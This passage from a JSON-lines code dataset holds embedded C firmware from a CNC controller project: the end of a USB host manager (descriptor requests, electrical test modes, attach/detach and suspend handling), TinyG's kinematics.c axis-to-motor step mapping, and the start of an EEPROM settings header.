errcheck)\n{\n if( errcheck == USB_DATA_TMO )\n {\n USB_PRINTF0(\"*** Standard Request Timeout error !\\n\");\n return USB_ERROR;\n }\n else if( errcheck == USB_DATA_STALL )\n {\n USB_PRINTF0(\"*** Standard Request STALL !\\n\");\n return USB_ERROR;\n }\n else if( errcheck != USB_CTRL_END )\n {\n USB_PRINTF0(\"*** Standard Request error !\\n\");\n return USB_ERROR;\n }\n else\n {\n }\n return USB_DONE;\n}\n/******************************************************************************\nEnd of function usb_hstd_StdReqCheck\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_hstd_GetStringDesc\nDescription : Set GetDescriptor\nArguments : uint16_t addr : device address\n : uint16_t string : descriptor index\n : USB_CB_t complete : callback function\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hstd_GetStringDesc(USB_UTR_t *ptr, uint16_t addr, uint16_t string, USB_CB_t complete)\n{\n uint16_t i;\n\n if( string == 0 )\n {\n usb_ghstd_ClassRequest[ptr->ip][2] = (uint16_t)0x0000;\n usb_ghstd_ClassRequest[ptr->ip][3] = (uint16_t)0x0004;\n }\n else\n {\n /* Set LanguageID */\n usb_ghstd_ClassRequest[ptr->ip][2] = (uint16_t)(usb_ghstd_ClassData[ptr->ip][2]);\n usb_ghstd_ClassRequest[ptr->ip][2] |= (uint16_t)((uint16_t)(usb_ghstd_ClassData[ptr->ip][3]) << 8);\n usb_ghstd_ClassRequest[ptr->ip][3] = (uint16_t)CLSDATASIZE;\n }\n usb_ghstd_ClassRequest[ptr->ip][0] = USB_GET_DESCRIPTOR | USB_DEV_TO_HOST | USB_STANDARD | USB_DEVICE;\n usb_ghstd_ClassRequest[ptr->ip][1] = (uint16_t)(USB_STRING_DESCRIPTOR + string);\n usb_ghstd_ClassRequest[ptr->ip][4] = addr;\n\n for( i = 0; i < usb_ghstd_ClassRequest[ptr->ip][3]; i++ )\n {\n usb_ghstd_ClassData[ptr->ip][i] = (uint8_t)0xFF;\n }\n\n return usb_hstd_CmdSubmit(ptr, complete);\n}\n/******************************************************************************\nEnd of function usb_hstd_GetStringDesc\n******************************************************************************/\n\n\n#ifdef USB_HOST_COMPLIANCE_MODE\n#ifdef USB_HS_EL_TEST\n/******************************************************************************\nFunction Name : usb_hstd_ElectricalTestMode\nDescription : Host electrical test mode function\nArgument : product_id : Task Start Code\n : port : rootport number\nReturn : none\n******************************************************************************/\nvoid usb_hstd_ElectricalTestMode(USB_UTR_t *ptr, uint16_t product_id, uint16_t port)\n{\n uint16_t brdysts;\n\n\n switch(product_id)\n {\n case 0x0101: /* Test_SE0_NAK */\n usb_hstd_TestSignal(ptr, port, 3);\n while(1); /* This loops infinitely until it's reset. */\n break;\n case 0x0102: /* Test_J */\n usb_hstd_TestSignal(ptr, port, 1);\n while(1); /* This loops infinitely until it's reset. */\n break;\n case 0x0103: /* Test_K */\n usb_hstd_TestSignal(ptr, port, 2);\n while(1); /* This loops infinitely until it's reset. */\n break;\n case 0x0104: /* Test_Packet */\n usb_hstd_TestSignal(ptr, port, 4);\n while(1); /* This loops infinitely until it's reset. */\n break;\n case 0x0105: /* Reserved */\n break;\n case 0x0106: /* HS_HOST_PORT_SUSPEND_RESUME */\n usb_cpu_DelayXms(15000); /* wait 15sec */\n usb_hstd_TestSuspend(ptr, port);\n usb_cpu_DelayXms(15000); /* wait 15sec */\n usb_hstd_TestResume(ptr, port);\n break;\n case 0x0107: /* SINGLE_STEP_GET_DEV_DESC */\n usb_cpu_DelayXms(15000); /* wait 15sec */\n usb_hreg_write_usbreq(ptr, (USB_GET_DESCRIPTOR | USB_DEV_TO_HOST | USB_STANDARD | USB_DEVICE));\n usb_hreg_set_usbval(ptr, USB_DEV_DESCRIPTOR);\n usb_hreg_set_usbleng(ptr, 0x0012);\n usb_hreg_set_sureq(ptr);\n break;\n case 0x0108: /* SINGLE_STEP_GET_DEV_DESC_DATA */\n usb_hreg_write_usbreq(ptr, (USB_GET_DESCRIPTOR | USB_DEV_TO_HOST | USB_STANDARD | USB_DEVICE));\n usb_hreg_set_usbval(ptr, USB_DEV_DESCRIPTOR);\n usb_hreg_set_usbindx(ptr, 0x0000);\n usb_hreg_set_usbleng(ptr, 0x0012);\n usb_hreg_set_sureq(ptr);\n usb_cpu_DelayXms(15000); /* wait 15sec */\n\n usb_cstd_SetNak(ptr, USB_PIPE0);\n usb_creg_write_dcpcfg(ptr, 0);\n usb_creg_rmw_fifosel(ptr, USB_CUSE, (USB_RCNT|USB_PIPE0), (USB_RCNT|USB_ISEL|USB_CURPIPE));\n usb_creg_set_bclr(ptr, USB_CUSE);\n usb_cstd_SetBuf(ptr,USB_PIPE0);\n do\n {\n brdysts = usb_creg_read_brdysts(ptr);\n }while( !(brdysts&USB_BRDY0));\n usb_cstd_SetNak(ptr, USB_PIPE0);\n usb_creg_set_sqclr(ptr, USB_PIPE0);\n usb_creg_set_bclr(ptr, USB_CUSE);\n break;\n default:\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_hstd_ElectricalTestMode\n******************************************************************************/\n#endif /* USB_HS_EL_TEST */\n#endif /* USB_HOST_COMPLIANCE_MODE */\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n\n/******************************************************************************\nFunction Name : usb_hstd_MgrTask\nDescription : The host manager (MGR) task.\nArgument : USB_VP_INT stacd : Task Start Code\nReturn : none\n******************************************************************************/\nvoid usb_hstd_MgrTask(USB_VP_INT stacd)\n{\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n USB_UTR_t *mess, *ptr;\n USB_ER_t err;\n USB_HCDREG_t *driver;\n USB_HCDINFO_t *hp;\n uint16_t rootport, devaddr, devsel, pipenum, msginfo;\n uint16_t md;\n uint16_t enume_mode; /* Enumeration mode (device state) */\n uint16_t connect_speed;\n/* Condition compilation by the difference of the devices */\n#if USB_PORTSEL_PP == USB_2PORT_PP\n uint16_t elseport;\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n#ifdef FREE_RTOS_PP\n for( ;; )\n {\n#endif\n /* Receive message */\n err = USB_TRCV_MSG(USB_MGR_MBX, (USB_MSG_t**)&mess, (USB_TM_t)10000);\n if ( (err != USB_E_OK) && (err != USB_E_TMOUT) )\n {\n#ifdef FREE_RTOS_PP\n continue;\n#else\n return;\n#endif\n }\n else\n {\n usb_shstd_MgrMsg[mess->ip] = (USB_MGRINFO_t*)mess;\n rootport = usb_shstd_MgrMsg[mess->ip]->keyword;\n devaddr = usb_shstd_MgrMsg[mess->ip]->keyword;\n pipenum = usb_shstd_MgrMsg[mess->ip]->keyword;\n devsel = (uint16_t)(devaddr << USB_DEVADDRBIT);\n hp = (USB_HCDINFO_t*)mess;\n ptr = mess;\n\n /* Detach is all device */\n msginfo = usb_shstd_MgrMsg[ptr->ip]->msginfo;\n switch( usb_shstd_MgrMsg[ptr->ip]->msginfo )\n {\n /* USB-bus control (change device state) */\n case USB_MSG_MGR_STATUSRESULT:\n switch( usb_ghstd_MgrMode[ptr->ip][rootport] )\n {\n /* End of reset signal */\n case USB_DEFAULT:\n usb_ghstd_DeviceSpeed[ptr->ip] = usb_shstd_MgrMsg[ptr->ip]->result;\n /* Set device speed */\n usb_hstd_SetDevAddr(ptr, (uint16_t)USB_DEVICE_0, usb_ghstd_DeviceSpeed[ptr->ip], rootport);\n usb_ghstd_DcpRegister[ptr->ip][0] = (uint16_t)(USB_DEFPACKET + USB_DEVICE_0);\n usb_ghstd_EnumSeq[ptr->ip] = 0;\n switch( usb_ghstd_DeviceSpeed[ptr->ip] )\n {\n case USB_HSCONNECT: /* Hi Speed Device Connect */\n USB_PRINTF0(\" Hi-Speed Device\\n\");\n (*usb_ghstd_EnumarationProcess[0])(ptr, (uint16_t)USB_DEVICE_0, (uint16_t)0);\n break;\n case USB_FSCONNECT: /* Full Speed Device Connect */\n USB_PRINTF0(\" Full-Speed Device\\n\");\n (*usb_ghstd_EnumarationProcess[0])(ptr, (uint16_t)USB_DEVICE_0, (uint16_t)0);\n break;\n case USB_LSCONNECT: /* Low Speed Device Connect */\n USB_PRINTF0(\" Low-Speed Device\\n\");\n usb_hstd_LsConnectFunction(ptr);\n break;\n default:\n USB_PRINTF0(\" Device/Detached\\n\");\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_DETACHED;\n break;\n }\n break;\n /* End of resume signal */\n case USB_CONFIGURED:\n /* This Resume Sorce is moved to usb_hResuCont() by nonOS */\n break;\n /* Start of suspended state */\n case USB_SUSPENDED:\n for( md = 0; md < usb_ghstd_DeviceNum[ptr->ip]; md++ )\n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][md];\n if( driver->devaddr == (rootport + USB_DEVICEADDR) )\n {\n (*driver->devsuspend)(ptr, driver->devaddr, (uint16_t)USB_NO_ARG);\n\n if( usb_shstd_mgr_msginfo[ptr->ip] == USB_DO_GLOBAL_SUSPEND )\n {\n usb_hstd_mgr_chgdevst_cb(ptr, rootport);\n }\n /* Device state */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][1] = USB_SUSPENDED;\n /* Device state */\n driver->devstate = USB_SUSPENDED;\n }\n }\n break;\n /* Continue of resume signal */\n case USB_RESUME_PROCESS:\n /* Resume Sequence Number is 0 */\n usb_hstd_ResuCont(ptr, (uint16_t)(USB_DEVICEADDR + rootport), (uint16_t)rootport);\n break;\n\n case USB_DETACHED:\n switch( usb_shstd_mgr_msginfo[ptr->ip] )\n {\n case USB_PORT_DISABLE:\n usb_hstd_mgr_chgdevst_cb(ptr, rootport);\n break;\n default:\n break;\n }\n break;\n\n default:\n break;\n }\n usb_hstd_MgrRelMpl(ptr,msginfo);\n break;\n\n case USB_MSG_MGR_SUBMITRESULT:\n /* Agreement device address */\n devsel = usb_cstd_GetDevsel(ptr, pipenum);\n /* Get root port number from device addr */\n rootport = usb_hstd_GetRootport(ptr, devsel);\n switch(usb_ghstd_MgrMode[ptr->ip][rootport])\n {\n /* Resume */\n case USB_RESUME_PROCESS:\n /* Resume Sequence Number is 1 to 2 */\n usb_hstd_ResuCont(ptr, (uint16_t)(devsel >> USB_DEVADDRBIT), (uint16_t)rootport);\n break;\n /* Suspend */\n case USB_SUSPENDED_PROCESS:\n usb_hstd_SuspCont(ptr, (uint16_t)(devsel >> USB_DEVADDRBIT), (uint16_t)rootport);\n break;\n /* Enumeration */\n case USB_DEFAULT:\n /* Peripheral Device Speed support check */\n connect_speed = usb_hstd_support_speed_check( ptr, rootport );\n if( connect_speed != USB_NOCONNECT )\n {\n enume_mode = usb_hstd_Enumeration(ptr);\n switch( enume_mode )\n {\n /* Detach Mode */\n case USB_NONDEVICE:\n USB_PRINTF1(\"### Enumeration error (address%d)\\n\", usb_ghstd_DeviceAddr[ptr->ip]);\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_DETACHED;\n\n if( ( usb_shstd_mgr_msginfo[ptr->ip] == USB_DO_RESET_AND_ENUMERATION )\n || ( usb_shstd_mgr_msginfo[ptr->ip] == USB_PORT_ENABLE ) )\n {\n usb_hstd_mgr_chgdevst_cb(ptr, rootport);\n }\n break;\n /* Detach Mode */\n case USB_NOTTPL:\n USB_PRINTF1(\"### Not support device (address%d)\\n\", usb_ghstd_DeviceAddr[ptr->ip]);\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_DETACHED;\n\n if( ( usb_shstd_mgr_msginfo[ptr->ip] == USB_DO_RESET_AND_ENUMERATION )\n || ( usb_shstd_mgr_msginfo[ptr->ip] == USB_PORT_ENABLE ) )\n {\n usb_hstd_mgr_chgdevst_cb(ptr, rootport);\n }\n break;\n case USB_COMPLETEPIPESET:\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_CONFIGURED;\n\n if( ( usb_shstd_mgr_msginfo[ptr->ip] == USB_DO_RESET_AND_ENUMERATION )\n || ( usb_shstd_mgr_msginfo[ptr->ip] == USB_PORT_ENABLE ) )\n {\n usb_hstd_mgr_chgdevst_cb(ptr, rootport);\n }\n break;\n default:\n break;\n }\n }\n break;\n default:\n break;\n }\n usb_hstd_MgrRelMpl(ptr,msginfo);\n break;\n case USB_MSG_MGR_AORDETACH:\n switch( usb_shstd_MgrMsg[ptr->ip]->result )\n {\n case USB_DETACH:\n#ifdef USB_HOST_COMPLIANCE_MODE\n USB_COMPLIANCE_DISP(ptr, USB_COMP_DETACH, USB_NO_ARG);\n#endif /* USB_HOST_COMPLIANCE_MODE */\n USB_PRINTF1(\" [Detach Device port%d] \\n\", rootport);\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_DETACHED;\n usb_ghstd_DeviceSpeed[ptr->ip] = USB_NOCONNECT;\n\n for( md = 0; md < usb_ghstd_DeviceNum[ptr->ip]; md++ )\n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][md];\n if( driver->devaddr == (rootport + USB_DEVICEADDR) )\n {\n (*driver->devdetach)(ptr, driver->devaddr, (uint16_t)USB_NO_ARG);\n /* Root port */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][0] = USB_NOPORT;\n /* Device state */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][1] = USB_DETACHED;\n /* Not configured */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][2] = (uint16_t)0;\n /* Interface Class : NO class */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][3] = (uint16_t)USB_IFCLS_NOT;\n /* No connect */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][4] = (uint16_t)USB_NOCONNECT;\n \n /* Root port */\n driver->rootport = USB_NOPORT;\n /* Device address */\n driver->devaddr = USB_NODEVICE;\n /* Device state */\n driver->devstate = USB_DETACHED;\n }\n }\n usb_hstd_MgrRelMpl(ptr,msginfo);\n break;\n case USB_ATTACHL:\n /* continue */\n case USB_ATTACHF:\n#ifdef USB_HOST_COMPLIANCE_MODE\n USB_COMPLIANCE_DISP(ptr, USB_COMP_ATTACH, USB_NO_ARG);\n#endif /* USB_HOST_COMPLIANCE_MODE */\n/* Condition compilation by the difference of the devices */\n#if USB_PORTSEL_PP == USB_2PORT_PP\n elseport = 0;\n if( rootport == 0 )\n {\n elseport = 1;\n }\n if( usb_ghstd_MgrMode[ptr->ip][elseport] == USB_DEFAULT )\n {\n /* 2ms wait */\n usb_cpu_DelayXms((uint16_t)2);\n/* Enumeration wait setting--------------- */\n if(usb_ghstd_EnuWait[ptr->ip] != (uint8_t)USB_MGR_TSK)\n {\n usb_shstd_MgrMsg[ptr->ip]->msginfo = USB_MSG_CLS_WAIT;\n usb_shstd_MgrMsg[ptr->ip]->keyword = rootport;\n err = USB_SND_MSG( usb_ghstd_EnuWait[ptr->ip], (USB_MSG_t*)usb_shstd_MgrMsg[ptr->ip] );\n }\n else\n {\n err = USB_SND_MSG(USB_MGR_MBX, (USB_MSG_t*)usb_shstd_MgrMsg[ptr->ip]);\n }\n/* Enumeration wait setting end------------ */\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### hMgrTask snd_msg error (%ld)\\n\", err);\n }\n }\n else if( usb_ghstd_MgrMode[ptr->ip][rootport] == USB_DETACHED )\n {\n /* enumeration wait setting */\n usb_ghstd_EnuWait[ptr->ip] = (uint8_t)USB_MGR_TSK;\n usb_ghstd_DeviceAddr[ptr->ip] = (uint16_t)(rootport + USB_DEVICEADDR);\n if( USB_MAXDEVADDR < usb_ghstd_DeviceAddr[ptr->ip] )\n {\n /* For port1 */\n USB_PRINTF0(\"Device address error\\n\");\n }\n else\n {\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_DEFAULT;\n#ifdef USB_HOST_BC_ENABLE\n if(USB_BC_SUPPORT_IP == ptr->ip)\n {\n /* Call Back */\n USB_BC_ATTACH(ptr, usb_ghstd_DeviceAddr[ptr->ip], (uint16_t)g_usb_hstd_bc[ptr->ip].state);\n }\n else\n {\n USB_BC_ATTACH(ptr, usb_ghstd_DeviceAddr[ptr->ip], (uint16_t)USB_NOT_BC);\n }\n#endif /* USB_HOST_BC_ENABLE */\n usb_hstd_AttachFunction();\n usb_hstd_MgrReset(ptr, usb_ghstd_DeviceAddr[ptr->ip]);\n }\n usb_hstd_MgrRelMpl(ptr,msginfo);\n }\n#else /* USB_PORTSEL_PP == USB_2PORT_PP */\n if( usb_ghstd_MgrMode[ptr->ip][rootport] == USB_DETACHED )\n {\n /* enumeration wait setting */\n usb_ghstd_EnuWait[ptr->ip] = (uint8_t)USB_MGR_TSK;\n usb_ghstd_DeviceAddr[ptr->ip] = (uint16_t)(rootport + USB_DEVICEADDR);\n if( USB_MAXDEVADDR < usb_ghstd_DeviceAddr[ptr->ip] )\n {\n /* For port1 */\n USB_PRINTF0(\"Device address error\\n\");\n }\n else\n {\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_DEFAULT;\n\n#ifdef USB_HOST_BC_ENABLE\n /* Call Back */\n USB_BC_ATTACH(ptr, usb_ghstd_DeviceAddr[ptr->ip], (uint16_t)g_usb_hstd_bc[ptr->ip].state);\n#endif /* USB_HOST_BC_ENABLE */\n usb_hstd_AttachFunction();\n usb_hstd_MgrReset(ptr, usb_ghstd_DeviceAddr[ptr->ip]);\n }\n usb_hstd_MgrRelMpl(ptr,msginfo);\n }\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n else\n {\n /* enumeration wait setting */\n usb_ghstd_EnuWait[ptr->ip] = (uint8_t)USB_MGR_TSK; \n usb_hstd_MgrRelMpl(ptr,msginfo);\n }\n break;\n default:\n usb_hstd_MgrRelMpl(ptr,msginfo);\n break;\n }\n break;\n case USB_MSG_MGR_OVERCURRENT:\n USB_PRINTF0(\" Please detach device \\n \");\n USB_PRINTF1(\"VBUS off port%d\\n\", rootport);\n usb_hstd_VbusControl(ptr, rootport, (uint16_t)USB_VBOFF);\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_DEFAULT;\n for( md = 0; md < usb_ghstd_DeviceNum[ptr->ip]; md++ )\n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][md];\n if( driver->rootport == rootport )\n {\n USB_OVERCURRENT(ptr, rootport, (uint16_t)USB_NO_ARG);\n /* Root port */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][0] = USB_NOPORT;\n /* Device state */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][1] = USB_DETACHED; \n /* Not configured */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][2] = (uint16_t)0; \n /* Interface Class : NO class */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][3] = (uint16_t)USB_IFCLS_NOT;\n /* No connect */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][4] = (uint16_t)USB_NOCONNECT;\n \n /* Root port */\n driver->rootport = USB_NOPORT;\n /* Device address */\n driver->devaddr = USB_NODEVICE;\n /* Device state */\n driver->devstate = USB_DETACHED;\n }\n }\n usb_hstd_MgrRelMpl(ptr,msginfo);\n break;\n\n /* USB_MSG_HCD_ATTACH */\n case USB_DO_RESET_AND_ENUMERATION:\n ptr->msginfo = USB_MSG_HCD_ATTACH_MGR;\n\n if( devaddr == USB_DEVICEADDR )\n {\n usb_ghstd_MgrMode[ptr->ip][USB_PORT0] = USB_DETACHED;\n }\n/* Condition compilation by the difference of the devices */\n#if USB_PORTSEL_PP == USB_2PORT_PP\n else if( devaddr == (USB_DEVICEADDR + 1u) )\n {\n usb_ghstd_MgrMode[ptr->ip][USB_PORT1] = USB_DETACHED;\n }\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n else\n {\n }\n\n usb_hstd_DeviceStateControl2(ptr, hp->complete, devaddr, ptr->msginfo, msginfo);\n usb_hstd_MgrRelMpl(ptr,msginfo);\n break;\n\n /* USB_MSG_HCD_VBON */\n case USB_PORT_ENABLE:\n ptr->msginfo = USB_MSG_HCD_VBON;\n if( devaddr == USB_DEVICEADDR )\n {\n usb_ghstd_MgrMode[ptr->ip][USB_PORT0] = USB_DETACHED;\n }\n/* Condition compilation by the difference of the devices */\n#if USB_PORTSEL_PP == USB_2PORT_PP\n else if( devaddr == (USB_DEVICEADDR + 1u) )\n {\n usb_ghstd_MgrMode[ptr->ip][USB_PORT1] = USB_DETACHED;\n }\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n else\n {\n }\n usb_hstd_DeviceStateControl2(ptr, hp->complete, devaddr, ptr->msginfo, msginfo);\n usb_hstd_MgrRelMpl(ptr,msginfo);\n break;\n\n /* USB_MSG_HCD_VBOFF */\n case USB_PORT_DISABLE:\n /* VBUS is off at the time of the abnormalities in a device */\n ptr->msginfo = USB_MSG_HCD_VBOFF;\n if( devaddr == USB_DEVICEADDR )\n {\n usb_ghstd_MgrMode[ptr->ip][USB_PORT0] = USB_DETACHED;\n }\n/* Condition compilation by the difference of the devices */\n#if USB_PORTSEL_PP == USB_2PORT_PP\n else if( devaddr == (USB_DEVICEADDR + 1u) )\n {\n usb_ghstd_MgrMode[ptr->ip][USB_PORT1] = USB_DETACHED;\n }\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n else\n {\n }\n usb_hstd_DeviceStateControl2(ptr, hp->complete, devaddr, ptr->msginfo, msginfo);\n usb_hstd_MgrRelMpl(ptr,msginfo);\n break;\n\n /* USB_MSG_HCD_SUSPEND */\n case USB_DO_GLOBAL_SUSPEND:\n ptr->msginfo = USB_MSG_HCD_REMOTE;\n usb_shstd_mgr_callback[ptr->ip] = hp->complete;\n usb_shstd_mgr_msginfo[ptr->ip] = msginfo;\n usb_hstd_MgrSuspend(ptr, msginfo);\n break;\n\n /* USB_MSG_HCD_SUSPEND */\n case USB_DO_SELECTIVE_SUSPEND:\n ptr->msginfo = USB_MSG_HCD_REMOTE;\n usb_hstd_MgrSuspend(ptr, msginfo);\n usb_hstd_DeviceStateControl2(ptr, hp->complete, devaddr, ptr->msginfo, msginfo);\n break;\n\n /* USB_MSG_HCD_RESUME */\n case USB_DO_GLOBAL_RESUME:\n ptr->msginfo = USB_MSG_HCD_RESUME;\n usb_shstd_mgr_callback[ptr->ip] = hp->complete;\n usb_shstd_mgr_msginfo[ptr->ip] = msginfo;\n usb_hstd_MgrResume(ptr, msginfo);\n break;\n\n /* USB_MSG_HCD_RESUME */\n case USB_MSG_HCD_RESUME:\n usb_shstd_mgr_msginfo[ptr->ip] = msginfo;\n usb_hstd_MgrResume(ptr, msginfo);\n break;\n\n /* USB_MSG_HCD_RESUME */\n case USB_DO_SELECTIVE_RESUME:\n ptr->msginfo = USB_MSG_HCD_RESUME;\n usb_hstd_MgrResume(ptr, msginfo);\n usb_hstd_DeviceStateControl2(ptr, hp->complete, devaddr, ptr->msginfo, msginfo);\n break;\n\n default:\n usb_hstd_MgrRelMpl(ptr,msginfo);\n break;\n }\n }\n#ifdef FREE_RTOS_PP\n }\n#endif\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n}\n/******************************************************************************\nEnd of function usb_hstd_MgrTask\n******************************************************************************/\n\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.7075669169425964, "alphanum_fraction": 0.7171822786331177, "avg_line_length": 42.88990783691406, "blob_id": "f49d8ec3a2d339d602607c00a49b42adbe5bb208", "content_id": "d737e88d9a78f0637f6e8ee207932e7180bf3841", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4784, "license_type": "no_license", "max_line_length": 114, "num_lines": 109, "path": "/src/cnc/kinematics.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * kinematics.c - inverse kinematics routines\n * This file is part of the TinyG project\n *\n * Copyright (c) 2010 - 2015 Alden S. Hart, Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#include \"tinyg.h\"\n#include \"config.h\"\n#include \"canonical_machine.h\"\n#include \"stepper.h\"\n#include \"kinematics.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\n//static void _inverse_kinematics(float travel[], float joint[]);\n\n/*\n * ik_kinematics() - wrapper routine for inverse kinematics\n *\n *\tCalls kinematics function(s).\n *\tPerforms axis mapping & conversion of length units to steps (and deals with inhibited axes)\n *\n *\tThe reason steps are returned as floats (as opposed to, say, uint32_t) is to accommodate\n *\tfractional DDA steps. The DDA deals with fractional step values as fixed-point binary in\n *\torder to get the smoothest possible operation. Steps are passed to the move prep routine\n *\tas floats and converted to fixed-point binary during queue loading. See stepper.c for details.\n */\n\nvoid ik_kinematics(const float travel[], float steps[])\n{\n\tfloat joint[AXES];\n\n//\t_inverse_kinematics(travel, joint);\t\t\t\t// you can insert inverse kinematics transformations here\n\tmemcpy(joint, travel, sizeof(float)*AXES);\t\t//...or just do a memcpy for Cartesian machines\n\n\t// Map motors to axes and convert length units to steps\n\t// Most of the conversion math has already been done in during config in steps_per_unit()\n\t// which takes axis travel, step angle and microsteps into account.\n\tfor (uint8_t axis=0; axis<AXES; axis++) {\n\t\tif (cm.a[axis].axis_mode == AXIS_INHIBITED) { joint[axis] = 0;}\n\t\tif (st_cfg.mot[MOTOR_1].motor_map == axis) { steps[MOTOR_1] = joint[axis] * st_cfg.mot[MOTOR_1].steps_per_unit;}\n\t\tif (st_cfg.mot[MOTOR_2].motor_map == axis) { steps[MOTOR_2] = joint[axis] * st_cfg.mot[MOTOR_2].steps_per_unit;}\n\t\tif (st_cfg.mot[MOTOR_3].motor_map == axis) { steps[MOTOR_3] = joint[axis] * st_cfg.mot[MOTOR_3].steps_per_unit;}\n\t\tif (st_cfg.mot[MOTOR_4].motor_map == axis) { steps[MOTOR_4] = joint[axis] * st_cfg.mot[MOTOR_4].steps_per_unit;}\n#if (MOTORS >= 5)\n\t\tif (st_cfg.mot[MOTOR_5].motor_map == axis) { steps[MOTOR_5] = joint[axis] * st_cfg.mot[MOTOR_5].steps_per_unit;}\n#endif\n#if (MOTORS >= 6)\n\t\tif (st_cfg.mot[MOTOR_6].motor_map == axis) { steps[MOTOR_6] = joint[axis] * st_cfg.mot[MOTOR_6].steps_per_unit;}\n#endif\n\t}\n\n/* The above is a loop unrolled version of this:\n\tfor (uint8_t axis=0; axis<AXES; axis++) {\n\t\tfor (uint8_t motor=0; motor<MOTORS; motor++) {\n\t\t\tif (st_cfg.mot[motor].motor_map == axis) {\n\t\t\t\tsteps[motor] = joint[axis] * st_cfg.mot[motor].steps_per_unit;\n\t\t\t}\n\t\t}\n\t}\n*/\n}\n\n/*\n * _inverse_kinematics() - inverse kinematics - example is for a cartesian machine\n *\n *\tYou can glue in inverse kinematics here, but be aware of time budget constrants.\n *\tThis function is run during the _exec() portion of the cycle and will therefore\n *\tbe run once per interpolation segment. The total time for the segment load,\n *\tincluding the inverse kinematics transformation cannot exceed the segment time,\n *\tand ideally should be no more than 25-50% of the segment time. Currently segments\n *\trun avery 5 ms, but this might be lowered. To profile this time look at the\n *\ttime it takes to complete the mp_exec_move() function.\n */\n/*\nstatic void _inverse_kinematics(float travel[], float joint[])\n{\n\tfor (uint8_t i=0; i<AXES; i++) {\n\t\tjoint[i] = travel[i];\n\t}\n}\n*/\n\n#ifdef __cplusplus\n}\n#endif\n" }, { "alpha_fraction": 0.653938889503479, "alphanum_fraction": 0.6635851860046387, "avg_line_length": 23.633663177490234, "blob_id": "a9cea1ed35b180572a12cfc20b687d10e9399fa3", "content_id": "30e78affff424eadd7f185771d62091c077566ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2489, "license_type": "no_license", "max_line_length": 106, "num_lines": 101, "path": "/src/include/eeprom.h", "repo_name": "ustropo/MT01", "src_encoding": "IBM852", "text": "/*\n * eeprom.h\n *\n * Created on: 31/01/2016\n * Author: leocafonso\n */\n\n#ifndef INCLUDE_EEPROM_H_\n#define INCLUDE_EEPROM_H_\n\n#include \"config_menu_pl.h\"\n#include \"config_menu_ox.h\"\n#include \"config_par_maquina.h\"\n#include \"state_functions.h\"\n\ntypedef enum\n{\n\tMODOMAQUINA = 0,\t//!< Flag do modo de funcinamento da maquina\n\tVEL_THC,\t\t\t//!< Flag da velocidade do THC\n\tKERF,\t\t\t\t//!< Kerf\n\tMERGULHO,\t\t\t//!< Mergulho\n\tFLAG_MAX //!< CONFIG_MAX\n} flag_name;\n\ntypedef enum\n{\n\tUNDEFINED_MAQ = 0,\t\t//!< 